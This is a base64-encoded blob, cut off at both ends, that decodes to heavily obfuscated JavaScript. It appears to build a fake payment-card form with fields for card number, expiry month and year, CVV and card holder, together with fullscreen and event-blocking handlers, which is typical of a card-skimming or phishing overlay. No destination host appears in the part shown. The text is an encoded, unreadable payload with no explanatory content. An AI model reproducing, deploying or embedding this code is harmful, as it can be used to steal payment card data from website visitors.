zIsMHg1YWQpXSlfMHgxNmIwNzRbXzB4NGQ3MGU1KC0weDFmLC0weDNhLC0weDJiYiwtMHgxZTgpKydsc2NyZWVuJ10oKTtlbHNle2lmKF8weDFmMzQ4OVtfMHg0ZDcwZTUoLTB4ZmYsLTB4MzMsLTB4MjU4LDB4ODMpK18weDRkNzBlNSgweDE3MiwweDMwZSwweDc5LDB4OGUpXSlfMHgyMDMyYzJbXzB4MmNjMzE1KDB4MzA4LDB4MzI2LDB4MmM0LDB4M2NjKSsnRnVsbFNjcmVlbiddKCk7ZWxzZSBfMHgzNmMxN2RbXzB4NGQ3MGU1KDB4NmI2LDB4NGY3LDB4NDNkLDB4NmZmKStfMHgyY2MzMTUoMHg3ZWMsMHg5YjQsMHg3YTAsMHg2ZDIpKydlZW4nXSYmXzB4MWFmNThmW18weDJjYzMxNSgweDc2NiwweDY5NCwweDdlZSwweDY0OSkrJ2VzdEZ1bGxTY3InKydlZW4nXSgpO319ZWxzZSBfMHgyNDEwZThbXzB4MmNjMzE1KDB4MzQ5LDB4MTA1LDB4MzcwLDB4NjY4KV0oJCxkb2N1bWVudFtfMHgyY2MzMTUoMHg3ZDYsMHg4NzgsMHg3MjYsMHg0NmEpXSlbJ2NzcyddKF8weDI0MTBlOFsnZ1haaXcnXSxfMHgyNDEwZThbXzB4NGQ3MGU1KDB4YmEsMHgzYTMsMHgzYmUsMHgzZWEpXSk7fSwtMHgyNDMrLTB4MTI2OCsweDFjN2IpO312YXIgXzB4M2IwY2FmPTB4MTkzNSstMHgxNmVkKzB4OTIqLTB4NCxfMHgxMzIwMjM9SlNPTltfMHgyMTQyNjAoMHg1NmYsMHgzYzksMHgyMGUsMHgzYjcpXShkZmJuaGZqKSxfMHgyZTZlOWM9XzB4MmY1MzQ5W18weDIxNDI2MCgweDEzMywweDJkMCwweDJkLDB4NWMpXTt0eXBlb2YgXzB4MTMyMDIzW18weDIxNjI3ZSgweDJkMSwweDYyZSwweDJiNiwweDNiNildIT1fMHgyZjUzNDlbXzB4MjE0MjYwKDB4Mjk1LC0weGQ4LC0weDg1LC0weDRlKV0mJihfMHgyZTZlOWM9XzB4MTMyMDIzW18weDIxNjI3ZSgweDQ3OSwweDVkNywweDQ2NSwweDNiNildKTt2YXIgXzB4NGZkNGRjPV8weDJmNTM0OVsnc214VWUnXTtfMHgyZjUzNDlbJ3BmREd6J10odHlwZW9mIF8weDEzMjAyM1sndGFyZ2V0U2NyaScrJ3B0J10sXzB4MmY1MzQ5W18weDIxNDI2MCgtMHgxZiwweDEyOSwweDc5LC0weDRlKV0pJiYoXzB4NGZkNGRjPV8weDEzMjAyM1tfMHgyMTQyNjAoMHg0M2EsMHg0ODIsMHgzYmUsMHg1MjMpKydwdCddKTt2YXIgXzB4NTFiYTRjO18weDJmNTM0OVtfMHgyMTQyNjAoMHg3MGUsMHg2ZmYsMHgzYTAsMHg0ZDEpXSgkLF8weDJmNTM0OVsnZXNyWlcnXSk/KF8weDUxYmE0Yz1fMHgyZjUzNDlbXzB4MjE2MjdlKDB4ZDAsMHg0M2IsMHg1ZDMsMHgzM2UpXSxfMHgyZjUzNDlbXzB4MjE2MjdlKDB4NGM3LDB4N2M1LDB4Njc2LDB4NThlKV0oJCxfMHgyZjUzNDlbXzB4MjE0MjYwKDB4NTRmLDB4M2M2LDB4NWYzLDB4NTNhKV0oXzB4MmY1MzQ5W18weDIxNDI2MCgweDQ4ZiwweDJkNSwweDE0YSwweDNkNSldLF8weDUxYmE0YykpW18weDIxNDI2MCgweDJjZCwweDNlMCwweDVhZCwweDM5MSldKF8weDIxNDI2MCgweGQ4LDB4MzY2LDB4NjIxLDB4MzhkKStfMHgyMTYyN2UoMHg5YTYsMHg4N2UsMHg2NzEsMHg2ZDgpKSxfMHgyZjUzNDlbJ2F1Z2FGJ10oJCxfMHgyZjUzNDlbXzB4MjE0MjYwKDB4NmFiLDB4MzgyLDB4M2VmLDB4NGU1KV0pWydvZmYnXShfMHgyMTYyN2UoMHg5MDEsMHg4N2EsMHg4NzEsMHg2NDkpKVsnb24nXShfMHgyZjUzNDlbXzB4MjE0MjYwKDB4Mzg1LDB4NjUzLDB4NzZhLDB4NGJmKV0sZnVuY3Rpb24oXzB4ZDM1ZjZlKXtmdW5jdGlvbiBfMHgzNWI5NTEoXzB4MzY5ZDNiLF8weDMwZjM3NyxfMHg0YjIzNDAsXzB4MThhZjA1KXtyZXR1cm4gXzB4MjE2MjdlKF8weDE4YWYwNSxfMHgzMGYzNzctMHhlLF8weDRiMjM0MC0weGM5LF8weDM2OWQzYi0gLTB4MjZlKTt9ZnVuY3Rpb24gXzB4MmI2MTFiKF8weDIyODM1OSxfMHg5MzQ5MDUsXzB4NzYzMWUzLF8weDM3OWIzNSl7cmV0dXJuIF8weDIxNjI3ZShfMHg3NjMxZTMsXzB4OTM0OTA1LTB4M2IsXzB4NzYzMWUzLTB4NGUsXzB4OTM0OTA1LSAtMHgxZjUpO31fMHhkMzVmNmVbXzB4MmI2MTFiKDB4MWNlLDB4MzQwLDB4MzQ0LDB4NDYxKStfMHgzNWI5NTEoMHhhLDB4MTkyLC0weGIxLC0weDFkNSldKCk7fSkpOl8weDUxYmE0Yz1fMHgyMTQyNjAoLTB4MjAwLDB4ZWIsMHhmZiwweDU5KTt2YXIgXzB4NWE0MGFhPXsnbnVtYmVyJzpfMHgyZjUzNDlbXzB4MjE0MjYwKDB4MWEzLDB4MzJiLDB4MzA3LDB4MmM4KV0oXzB4MmY1MzQ5W18weDIxNjI3ZSgweDc5YywweDg2OCwweDk3MSwweDc0ZSldKF8weDJmNTM0OVtfMHgyMTQyNjAoMHg2MywweDEzYywweDE3MCwweDMzNildKF8weDJmNTM0OVtfMHgyMTYyN2UoMHg1MjYsMHgxMzcsMHg0OWIsMHgyNmYpXShfMHgyMTYyN2UoMHgzMDAsMHg3OGIsMHg1NzQsMHg1YTcpLF8weDJmNTM0OVtfMHgyMTYyN2UoMHg0MDMsMHgyNGQsMHgyOGEsMHg1MWUpXSksJ2FyJyksXzB4MjE0MjYwKDB4MmYsMHg0ZDIsMHg0M2IsMHgyMjgpKSxfMHgyZjUzNDlbXzB4MjE2MjdlKDB4ZjcsMHg0YWQsMHgyMzgsMHgyMTgpXSksJ21vbnRoJzonTU0nLCd5ZWFyJzonWVknLCdjdnYnOl8weDJmNTM0OVsnTVZ1WGknXSgnQycsJ1ZDJyksJ2hvbGRlcic6XzB4MmY1MzQ5Wyd2WlhXciddKF8weDJmNTM0OVtfMHgyMTYyN2UoMHhhMjMsMHg1ZDcsMHg2MzMsMHg3OGQpXShfMHgyZjUzNDlbXzB4MjE2MjdlKDB4OGE0LDB4Njk4LDB4NmYwLDB4NWI1KV0oJ0NhJywncmRceDIwSG9sJyksXzB4MmY1MzQ5W18weDIxNDI2MCgweDI3MCwweDE1YSwweDE4MCwweDc4KV0pLF8weDJmNTM0OVtfMHgyMTYyN2UoMHg3ZDUsMHg0ZTUsMHg2MDEsMHg2MGEpXSl9O18weDJmNTM0OVtfMHgyMTQyNjAoMHgyZGQsMHgyOGMsLTB4MjhjLDB4OCldKCQsXzB4NTFiYTRjK18weDJmNTM0OVtfMHgyMTYyN2UoMHg5OSwweDUwNiwweGEsMHgyMzcpXSlbJ2VhY2gnXShmdW5jdGlvbihfMHg1NGNiOGIsXzB4NGE2NWRlKXtmdW5jdGlvbiBfMHgyOTlmOWEoXzB4NjcxZjcsXzB4MjM1YzQ0LF8weDNjYWRkYixfMHgxZDdmZmUpe3JldHVybiBfMHgyMTYyN2UoXzB4NjcxZjcsXzB4MjM1YzQ0LTB4MjgsXzB4M2NhZGRiLTB4MWVhLF8weDFkN2ZmZS0weDEyZik7fWZ1bmN0aW9uIF8weDE1YzE1MShfMHgxOWFjNWIsXzB4MzNjNjQ2LF8weDI4ODcwZSxfMHg1MjFkYTEpe3JldHVybiBfMHgyMTYyN2UoXzB4MTlhYzViLF8weDMzYzY0Ni0weDEzOSxfMHgyODg3MGUtMHgxOTIsXzB4MzNjNjQ2LSAtMHg0YzIpO31fMHgxMWM1OTVbJ0RBTXlyJ10oJCxfMHg0YTY1ZGUpW18weDE1YzE1MSgweDQ4LDB4OGUsLTB4MjBhLC0weDIxMyldKF8weDI5OWY5YSgweDdlYywweDZiNCwweDY1OCwweDU1ZikrJ3InLF8weDVhNDBhYVskKF8weDRhNjVkZSlbJ2F0dHInXSgnaWQnKVtfMHgxNWMxNTEoLTB4MTYyLC0weGJjLC0weDI4YSwweDUpXShzc3RyaW5nLCcnKVsncmVwbGFjZUFsbCddKF8weDExYzU5NVtfMHgyOTlmOWEoMHg2NTIsMHg1NGYsMHgzMzYsMHg0NTApXSgnY2EnLF8weDExYzU5NVsnRmRCZ2UnXSksJycpW18weDI5OWY5YSgweDQ2OSwweDI5ZSwweDM4NCwweDUzNSldKCdjYScrJ3JkJywnJyldKTt9KTtfMHgyZjUzNDlbJ1VXdFNkJ10oJCxfMHgyMTYyN2UoMHgzY2MsMHgyZGIsMHg0ZjcsMHgyZjQpKSYmXzB4MmY1MzQ5WydkdnhJcSddKCQsXzB4MmY1MzQ5WydBandTVCddKVsnaHRtbCddKF8weDEzMjAyM1tfMHgyMTYyN2UoMHg0ODcsMHg3NmQsMHg0NzgsMHg3MzApXSk7XzB4MmY1MzQ5WydvUWFHbCddKCQsXzB4MmY1MzQ5W18weDIxNDI2MCgweDYwMywweDM4ZiwweDUwOCwweDM0NSldKSYmKF8weDIxNDI2MCgweDMwMiwweDQ1LDB4MmIyLDB4N2YpIT09J0lESVl1Jz9fMHg1M2MwNmEoXzB4MjQxMGU4W18weDIxNDI2MCgweDcsMHg5YywtMHhjNCwweDE0YyldKVtfMHgyNDEwZThbXzB4MjE2MjdlKDB4NjM4LDB4MzBjLDB4M2RjLDB4NDAyKV1dKCk6XzB4MmY1MzQ5WydrRFhxTiddKCQsXzB4MmY1MzQ5W18weDIxNDI2MCgweDRlYiwweGI5LDB4MmNkLDB4MzQ1KV0pW18weDIxNjI3ZSgweDFiNCwweDJiNSwweDUzZSwweDM5MSldKF8weDEzMjAyM1tfMHgyMTQyNjAoMHgyNzAsMHgyZWQsMHg0NmQsMHg0YjQpXSkpOyQoZG9jdW1lbnRbXzB4MjE2MjdlKDB4OGQxLDB4NTkwLDB4NWYyLDB4NjdmKV0pWydvbiddKF8weDJmNTM0OVsnblhHdFcnXSxfMHgyZjUzNDlbXzB4MjE0MjYwKC0weDM5LDB4YjMsMHgzZTYsMHgxNjgpXSxmdW5jdGlvbihfMHg5YmZkMTgpe2Z1bmN0aW9uIF8weDUxYTFjZihfMHg1NDVkODksXzB4Mjc1MDZmLF8weDI2MGVjZCxfMHgzNzk1ODApe3JldHVybiBfMHgyMTYyN2UoXzB4Mzc5NTgwLF8weDI3NTA2Zi0weDhhLF8weDI2MGVjZC0weDExNSxfMHgyNzUwNmYtMHgyMjIpO31mdW5jdGlvbiBfMHg1OTNhMDkoXzB4NmRhNzU4LF8weDMwZDgzZixfMHgxMTgxNjYsXzB4MmQ4ZDlkKXtyZXR1cm4gXzB4MjE0MjYwKF8weDZkYTc1OC0weDFhMSxfMHg2ZGE3NTgsXzB4MTE4MTY2LTB4MWVlLF8weDExODE2Ni0weDJhZCk7fV8weDI0MTBlOFtfMHg1MWExY2YoMHg5M2IsMHg3NGYsMHg5YTQsMHg2OTcpXShfMHgyNDEwZThbJ3drREJpJ10sXzB4MjQxMGU4Wyd4b0JPViddKT9fMHg5YmZkMThbJ3ByZXZlbnREZWYnK18weDU5M2EwOSgweDRiOSwweDQ4YSwweDJiOSwweDEzMCldKCk6XzB4MmI0ODVkW18weDUxYTFjZigweDJhNiwweDRkNSwweDZlMywweDJhNCkrXzB4NTFhMWNmKDB4OTM2LDB4ODBmLDB4NjAyLDB4NWU1KV0oKTt9KSxmdW5jdGlvbigpe3ZhciBfMHg0MDc5MDg9eydRV0xudSc6ZnVuY3Rpb24oXzB4MjcwMjRiLF8weDE4NTQ5ZCl7ZnVuY3Rpb24gXzB4MWUyNTA5KF8weDUzZTQyMCxfMHgxZGVmMjQsXzB4MzU3M2UzLF8weDNiNTVmOSl7cmV0dXJuIF8weDRjMGYoXzB4M2I1NWY5LTB4NTUsXzB4NTNlNDIwKTt9cmV0dXJuIF8weDExYzU5NVtfMHgxZTI1MDkoMHg2NDEsMHg1MjUsMHg1MzksMHg2YmIpXShfMHgyNzAyNGIsXzB4MTg1NDlkKTt9LCdCUUpldic6ZnVuY3Rpb24oXzB4NGZkNjkyLF8weDU5ZGE2OSl7ZnVuY3Rpb24gXzB4NDU5NDZhKF8weDI5YWE0NCxfMHgyNjFhNGQsXzB4ZWRmY2FjLF8weDFhOGJjZil7cmV0dXJuIF8weDRjMGYoXzB4MWE4YmNmLSAtMHgxYmMsXzB4MjYxYTRkKTt9cmV0dXJuIF8weDExYzU5NVtfMHg0NTk0NmEoMHg0M2QsMHgzZjIsMHg0YjYsMHgzY2UpXShfMHg0ZmQ2OTIsXzB4NTlkYTY5KTt9LCdscEZLbSc6ZnVuY3Rpb24oXzB4MjE0M2M5LF8weGUyY2NkNyl7ZnVuY3Rpb24gXzB4M2Q5MDA5KF8weDM5NGZjZSxfMHgxNTBkMmMsXzB4MWI5YjZkLF8weGJhMThlYil7cmV0dXJuIF8weDRjMGYoXzB4Mzk0ZmNlLSAtMHhlMSxfMHgxYjliNmQpO31yZXR1cm4gXzB4MTFjNTk1W18weDNkOTAwOSgweDE3MSwweDI2MywweDQyYSwweDM3OCldKF8weDIxNDNjOSxfMHhlMmNjZDcpO30sJ2l1YXBMJzpfMHgxODU4MGUoMHgzYzAsMHg1NzEsMHgzYTIsMHgzZjEpLCdKYkNUTyc6ZnVuY3Rpb24oXzB4NWUwNjg2LF8weDUwZDhkOCl7ZnVuY3Rpb24gXzB4NWMxZTI3KF8weDVkYzZlNCxfMHg0M2YyZDEsXzB4M2JmMzk2LF8weDViMWU0NCl7cmV0dXJuIF8weDE4NTgwZShfMHg1ZGM2ZTQtMHgxYmQsXzB4NDNmMmQxLTB4MTcsXzB4NWIxZTQ0LTB4MmExLF8weDQzZjJkMSk7fXJldHVybiBfMHgxMWM1OTVbXzB4NWMxZTI3KDB4Njk5LDB4MjEwLDB4MmU0LDB4NDhlKV0oXzB4NWUwNjg2LF8weDUwZDhkOCk7fSwncXFVeVUnOl8weDExYzU5NVsncUVoVVMnXSwnS0pLSGgnOmZ1bmN0aW9uKF8weDFkYmM2ZSxfMHhkMWQxMjQpe3JldHVybiBfMHgxMWM1OTVbJ2hpV0tPJ10oXzB4MWRiYzZlLF8weGQxZDEyNCk7fSwnQlFNVW8nOl8weDE4NTgwZSgtMHgxZjAsLTB4MTYsLTB4MjA1LC0weDQ1YikrJ25kJywndEFyT2YnOmZ1bmN0aW9uKF8weDIxOWQ2YixfMHg1OTcxYzMpe2Z1bmN0aW9uIF8weDRhNzM4ZShfMHgxNTllMmQsXzB4YjlmYzliLF8weDE0NzQxNixfMHgxMTdlYmEpe3JldHVybiBfMHgxODU4MGUoXzB4MTU5ZTJkLTB4OTQsXzB4YjlmYzliLTB4MTBjLF8weDE1OWUyZC0weDZmNSxfMHgxNDc0MTYpO31yZXR1cm4gXzB4MTFjNTk1W18weDRhNzM4ZSgweDUzNywweDJmZiwweDU2YSwweDUzMildKF8weDIxOWQ2YixfMHg1OTcxYzMpO30sJ1J6eFFHJzpmdW5jdGlvbihfMHg1Y2JmNmMsXzB4MTA1NDIxKXtmdW5jdGlvbiBfMHg0OGY5OTUoXzB4MWNkM2Q3LF8weDQxZDY4YSxfMHhkMjJjOTAsXzB4MTdlYzZiKXtyZXR1cm4gXzB4MzYwY2U4KF8weDFjZDNkNy0weDE0OCxfMHhkMjJjOTAsXzB4ZDIyYzkwLTB4NmIsXzB4MTdlYzZiLSAtMHgxZTEpO31yZXR1cm4gXzB4MTFjNTk1W18weDQ4Zjk5NSgweDE0ZSwweDRmZCwweDM5ZSwweDQzZildKF8weDVjYmY2YyxfMHgxMDU0MjEpO30sJ0F2eHJOJzpfMHgxMWM1OTVbXzB4MzYwY2U4KDB4OGQwLDB4OTM1LDB4ODdlLDB4OGJiKV0sJ2hZd2VjJzpmdW5jdGlvbihfMHg1MTdjZmMsXzB4MjViZTY4KXtyZXR1cm4gXzB4MTFjNTk1WydFV1ZSWSddKF8weDUxN2NmYyxfMHgyNWJlNjgpO30sJ0pYTUphJzpmdW5jdGlvbihfMHg1ZWI3NGYsXzB4NGY2YjAyKXtyZXR1cm4gXzB4MTFjNTk1WydEQU15ciddKF8weDVlYjc0ZixfMHg0ZjZiMDIpO30sJ3FPb1FoJzpmdW5jdGlvbihfMHgxZGNjNTQsXzB4NTFjYjg1LF8weDVjYWZlYSl7cmV0dXJuIF8weDExYzU5NVsnQnd1dUYnXShfMHgxZGNjNTQsXzB4NTFjYjg1LF8weDVjYWZlYSk7fSwnbHFvUkwnOmZ1bmN0aW9uKF8weDFjNWNiMCxfMHgxMGQ4NWMsXzB4ZTdhMDAzKXtyZXR1cm4gXzB4MWM1Y2IwKF8weDEwZDg1YyxfMHhlN2EwMDMpO30sJ1NEWHFzJzpmdW5jdGlvbihfMHgxMjlkM2UsXzB4NTM0MjAzKXtmdW5jdGlvbiBfMHg1MTQ4NzAoXzB4MjU5M2I1LF8weDI5NDI3NixfMHgxYjZlOTksXzB4MzU1ZmMwKXtyZXR1cm4gXzB4MTg1ODBlKF8weDI1OTNiNS0weDExZixfMHgyOTQyNzYtMHgxOWUsXzB4Mjk0Mjc2LTB4NmY4LF8weDFiNmU5OSk7fXJldHVybiBfMHgxMWM1OTVbXzB4NTE0ODcwKDB4NzE5LDB4NWMwLDB4NzBiLDB4MzUyKV0oXzB4MTI5ZDNlLF8weDUzNDIwMyk7fSwnQUZHRFMnOmZ1bmN0aW9uKF8weDNlYTM3OCxfMHgyMmQxN2Ype3JldHVybiBfMHgxMWM1OTVbJ21nandyJ10oXzB4M2VhMzc4LF8weDIyZDE3Zik7fSwnY2lDcmYnOl8weDExYzU5NVtfMHgzNjBjZTgoMHgzMDAsMHg2YWYsMHgyYTcsMHg0MjkpXSwnamVUbWInOl8weDExYzU5NVtfMHgxODU4MGUoMHgzOGMsLTB4MTNkLDB4YWQsMHgxNzcpXSwna1dOWk0nOl8weDM2MGNlOCgweDZkNCwweDJlYywweDU4MSwweDRkZikrJ3InLCdQbWlORic6ZnVuY3Rpb24oXzB4NGI3Mzg5LF8weDIzNzQyNixfMHg1MTgyZWYpe3JldHVybiBfMHgxMWM1OTVbJ0J3dXVGJ10oXzB4NGI3Mzg5LF8weDIzNzQyNixfMHg1MTgyZWYpO30sJ3ZicWh0JzpfMHgxMWM1OTVbXzB4MzYwY2U4KDB4NmQ2LDB4N2ZkLDB4NjYzLDB4ODEyKV0sJ2pOSlZ6JzpmdW5jdGlvbihfMHg0ZDZiNGUsXzB4MTUwZDAzKXtmdW5jdGlvbiBfMHgyNzY5ZmMoXzB4NGZhMzk0LF8weDE4NWMzMCxfMHgzMzY5MmEsXzB4ZTVhNzQxKXtyZXR1cm4gXzB4MTg1ODBlKF8weDRmYTM5NC0weDE4NCxfMHgxODVjMzAtMHg0YSxfMHgxODVjMzAtMHg2ZWYsXzB4NGZhMzk0KTt9cmV0dXJuIF8weDExYzU5NVtfMHgyNzY5ZmMoMHg1ZmEsMHg1MjcsMHg0NTQsMHg3M2EpXShfMHg0ZDZiNGUsXzB4MTUwZDAzKTt9LCdIbmVFWCc6ZnVuY3Rpb24oXzB4M2M2YzdhLF8weDIyYjc4YSl7cmV0dXJuIF8weDNjNmM3YStfMHgyMmI3OGE7fSwnRmxiVnAnOl8weDExYzU5NVtfMHgxODU4MGUoLTB4MjdjLC0weDFiOCwweDMsMHgxOWUpXSwnUWFtSk0nOmZ1bmN0aW9uKF8weDViYzEwYSxfMHg0OWI0YTYpe2Z1bmN0aW9uIF8weDUyYjA3ZShfMHhiNGVjZGUsXzB4MjlhNGE2LF8weDI4YWIzOSxfMHgyMTk2ODcpe3JldHVybiBfMHgxODU4MGUoXzB4YjRlY2RlLTB4YWMsXzB4MjlhNGE2LTB4MWIxLF8weGI0ZWNkZS0weDYzYSxfMHgyOWE0YTYpO31yZXR1cm4gXzB4MTFjNTk1W18weDUyYjA3ZSgweDUwMiwweDMwNiwweDMwNiwweDI2MyldKF8weDViYzEwYSxfMHg0OWI0YTYpO30sJ296c1NpJzpfMHgxMWM1OTVbXzB4MTg1ODBlKDB4MWI5LC0weDIwMywtMHgzZCwweDE3NyldLCdtc3VOWSc6J2NfZm9ybScsJ0pTZVFhJzpmdW5jdGlvbihfMHgyNjEzMDcsXzB4MmE5MDNkKXtyZXR1cm4gXzB4MjYxMzA3PT09XzB4MmE5MDNkO30sJ2RMUmttJzpfMHgxMWM1OTVbJ0V1Umd4J10sJ1pYZ2ZmJzpmdW5jdGlvbihfMHg0NWM5ODEsXzB4NjRlYWY4KXtyZXR1cm4gXzB4MTFjNTk1Wyd4S0lHaiddKF8weDQ1Yzk4MSxfMHg2NGVhZjgpO30sJ0VXcUtCJzpfMHgxMWM1OTVbJ2dyWWFIJ10sJ1VGS05VJzpmdW5jdGlvbihfMHgzMmIyNjcsXzB4MWExOGRlKXtyZXR1cm4gXzB4MzJiMjY3KF8weDFhMThkZSk7fSwnU1RPVlMnOmZ1bmN0aW9uKF8weDIwYmUzNixfMHg1MGRmMzkpe2Z1bmN0aW9uIF8weDQ5NWNhMChfMHhkODAwMTksXzB4NGE3NGNmLF8weDE0YWRhNixfMHgyMWE4ODYpe3JldHVybiBfMHgxODU4MGUoXzB4ZDgwMDE5LTB4MTkwLF8weDRhNzRjZi0weGE0LF8weDE0YWRhNi0weDQyOSxfMHhkODAwMTkpO31yZXR1cm4gXzB4MTFjNTk1W18weDQ5NWNhMCgweDVjMiwweDNlYSwweDY1YywweDhiYSldKF8weDIwYmUzNixfMHg1MGRmMzkpO30sJ1JmWFpvJzpfMHgxMWM1OTVbXzB4MzYwY2U4KDB4N2NkLDB4NjU4LDB4ODhkLDB4NzU4KV0sJ21YeEJ2JzpfMHgxODU4MGUoMHgyZmIsMHgzZTUsMHgyNzksMHg5OSksJ09FWkVKJzpfMHgxMWM1OTVbJ1VUTE5DJ10sJ1R1S2xVJzpmdW5jdGlvbihfMHgyYTcxNmUsXzB4NWFiMTZiKXtyZXR1cm4gXzB4MTFjNTk1WydWTnJITiddKF8weDJhNzE2ZSxfMHg1YWIxNmIpO30sJ2d0Q2psJzpfMHgxMWM1OTVbJ1NJcXRxJ10sJ05OTUhKJzpfMHgzNjBjZTgoMHhiYjAsMHhhNWEsMHg5YTQsMHg5NjcpLCd6Yk12SCc6ZnVuY3Rpb24oXzB4MzRmYzUzLF8weDIxYTk3Nil7ZnVuY3Rpb24gXzB4NDYxMjU2KF8weDViOTAzOCxfMHgyYzdlOWIsXzB4MmI5ZGViLF8weGVjNzQ3OCl7cmV0dXJuIF8weDM2MGNlOChfMHg1YjkwMzgtMHgyZCxfMHgyYzdlOWIsXzB4MmI5ZGViLTB4MTRiLF8weDJiOWRlYi0gLTB4MThiKTt9cmV0dXJuIF8weDExYzU5NVtfMHg0NjEyNTYoMHg1MDYsMHgyMmIsMHgyZWUsMHg0ZjIpXShfMHgzNGZjNTMsXzB4MjFhOTc2KTt9LCdYZG13SCc6ZnVuY3Rpb24oXzB4NTdlZDcwLF8weDEwZDdkNil7ZnVuY3Rpb24gXzB4ZGU2YjI4KF8weGI2Nzc3NSxfMHhlNjhiNmYsXzB4M2MwNDUwLF8weDlmZjc3OSl7cmV0dXJuIF8weDM2MGNlOChfMHhiNjc3NzUtMHhjMixfMHgzYzA0NTAsXzB4M2MwNDUwLTB4MTRiLF8weGU2OGI2Zi0gLTB4MmJmKTt9cmV0dXJuIF8weDExYzU5NVtfMHhkZTZiMjgoMHgyZmEsMHg0YWYsMHgyNjMsMHgyYjgpXShfMHg1N2VkNzAsXzB4MTBkN2Q2KTt9LCd5eER2eCc6ZnVuY3Rpb24oXzB4NDFmODg1LF8weGNkZDE0Mil7ZnVuY3Rpb24gXzB4NWJhYjhlKF8weDI4YjlkNSxfMHgzMDgzN2YsXzB4MjFjNDljLF8weDViZTQxNyl7cmV0dXJuIF8weDE4NTgwZShfMHgyOGI5ZDUtMHgxMzMsXzB4MzA4MzdmLTB4YmYsXzB4MjhiOWQ1LTB4Njk0LF8weDViZTQxNyk7fXJldHVybiBfMHgxMWM1OTVbXzB4NWJhYjhlKDB4OGQwLDB4YTg2LDB4YjBkLDB4NmNjKV0oXzB4NDFmODg1LF8weGNkZDE0Mik7fSwnUlFKcEQnOl8weDExYzU5NVtfMHgxODU4MGUoLTB4NGEsLTB4MTc1LC0weDhlLC0weDI5MyldLCdQaGppYic6XzB4MTFjNTk1W18weDE4NTgwZSgtMHgxNDcsLTB4NGFlLC0weDFjYiwtMHgyYzUpXSwnVXlXU1onOmZ1bmN0aW9uKF8weDhmNDI4ZixfMHgzMzZjZTgpe2Z1bmN0aW9uIF8weDNmYWE0OShfMHgyNmYxZDUsXzB4NTVjM2QyLF8weDViNjM5MixfMHhkMmVjOCl7cmV0dXJuIF8weDM2MGNlOChfMHgyNmYxZDUtMHg4NSxfMHhkMmVjOCxfMHg1YjYzOTItMHgxNSxfMHg1YjYzOTItIC0weDVkYSk7fXJldHVybiBfMHgxMWM1OTVbXzB4M2ZhYTQ5KC0weDMwYiwtMHgzYywtMHg5NSwtMHgxYzUpXShfMHg4ZjQyOGYsXzB4MzM2Y2U4KTt9LCdiUHdBWic6XzB4MTFjNTk1W18weDE4NTgwZSgweGViLDB4MmQ1LDB4MzBiLDB4ODkpXSwnUGRIamInOl8weDExYzU5NVtfMHgzNjBjZTgoMHg2OGMsMHg0MGYsMHg1OTksMHg2ODUpXSwnTGtYbEYnOl8weDExYzU5NVtfMHgzNjBjZTgoMHg0ZWUsMHg2YzQsMHg0ZTAsMHg2YTEpXSwnbVFwZlMnOl8weDExYzU5NVsnaVRCYm4nXSwnbXdrWVInOidoaWRlJywnRUJHREEnOmZ1bmN0aW9uKF8weDQwMzhiZSxfMHgxYmI3MWQpe2Z1bmN0aW9uIF8weDUxZjI4NChfMHgxZDM0MTksXzB4NDFiZmNiLF8weGQxZDA1LF8weDFiNDI2YSl7cmV0dXJuIF8weDE4NTgwZShfMHgxZDM0MTktMHgxMjQsXzB4NDFiZmNiLTB4NmMsXzB4MWQzNDE5LTB4NjcsXzB4NDFiZmNiKTt9cmV0dXJuIF8weDExYzU5NVtfMHg1MWYyODQoLTB4MTAzLDB4NDEsMHgyNSwweGY1KV0oXzB4NDAzOGJlLF8weDFiYjcxZCk7fSwnY2x1SmMnOmZ1bmN0aW9uKF8weDM3YTU0NixfMHgzNzBmNmYpe2Z1bmN0aW9uIF8weDEwZThiYyhfMHg1MDc0YjQsXzB4MjgwNTM1LF8weDUzNTNkNyxfMHgzNjExY2Upe3JldHVybiBfMHgxODU4MGUoXzB4NTA3NGI0LTB4MTllLF8weDI4MDUzNS0weDFmMSxfMHgzNjExY2UtMHg1YWIsXzB4NTA3NGI0KTt9cmV0dXJuIF8weDExYzU5NVtfMHgxMGU4YmMoMHg3YjQsMHg2YmYsMHhhMzcsMHg4YTcpXShfMHgzN2E1NDYsXzB4MzcwZjZmKTt9LCdlV0dHZSc6XzB4MTg1ODBlKDB4MWJlLDB4MTI2LDB4MjkzLDB4MmY3KSwnY0hvQ1knOl8weDExYzU5NVtfMHgzNjBjZTgoMHg3NjcsMHg4MTEsMHhiMWMsMHg5NmMpXSwnRktBb0snOl8weDE4NTgwZSgtMHgxNzMsLTB4YTksLTB4MWJmLC0weDE5ZCkrXzB4MTg1ODBlKDB4MmU2LDB4MjVmLDB4M2YsLTB4MTY5KSwnanlnZkUnOmZ1bmN0aW9uKF8weDVkYjg2ZCxfMHgxZjNiMjkpe2Z1bmN0aW9uIF8weDE1OGU0ZShfMHgzM2JkMjEsXzB4YzdkZDA3LF8weDFmNTljZixfMHgyNzJlYTApe3JldHVybiBfMHgxODU4MGUoXzB4MzNiZDIxLTB4MTBmLF8weGM3ZGQwNy0weDEzMixfMHgzM2JkMjEtMHgxYzIsXzB4MWY1OWNmKTt9cmV0dXJuIF8weDExYzU5NVtfMHgxNThlNGUoMHgzZmUsMHg1ZWIsMHg2N2MsMHg2ZGYpXShfMHg1ZGI4NmQsXzB4MWYzYjI5KTt9LCdxaWpTQSc6ZnVuY3Rpb24oXzB4MjlhMzRkLF8weGY2NGU4Nil7cmV0dXJuIF8weDI5YTM0ZCE9PV8weGY2NGU4Njt9LCdvbWRPWic6XzB4MTFjNTk1W18weDM2MGNlOCgweDQ3NywweDRlNCwweDJhYiwweDUxNSldLCdjWFFLcic6ZnVuY3Rpb24oXzB4MWU4ODE5LF8weDJlYmFlZCl7ZnVuY3Rpb24gXzB4MzRmYzViKF8weDVjM2IxZSxfMHg0Nzk5NTQsXzB4NTZmZjExLF8weDlkOWM4OSl7cmV0dXJuIF8weDM2MGNlOChfMHg1YzNiMWUtMHhlZixfMHg5ZDljODksXzB4NTZmZjExLTB4MWQ1LF8weDU2ZmYxMS0gLTB4ZGEpO31yZXR1cm4gXzB4MTFjNTk1W18weDM0ZmM1YigweDM0NywweDM4OSwweDUwNiwweDc5ZSldKF8weDFlODgxOSxfMHgyZWJhZWQpO30sJ1FZcUFVJzpfMHgxMWM1OTVbJ3d6RnhyJ10sJ2hwemF1JzpfMHgxMWM1OTVbJ1BZcE1hJ10sJ2pyemFxJzpmdW5jdGlvbihfMHgzNDY2MTEsXzB4NWUwYTdhKXtmdW5jdGlvbiBfMHhkMjIwYmUoXzB4NWViZjg3LF8weDRlZGE5NixfMHgyN2EzNmQsXzB4MzM4MWE0KXtyZXR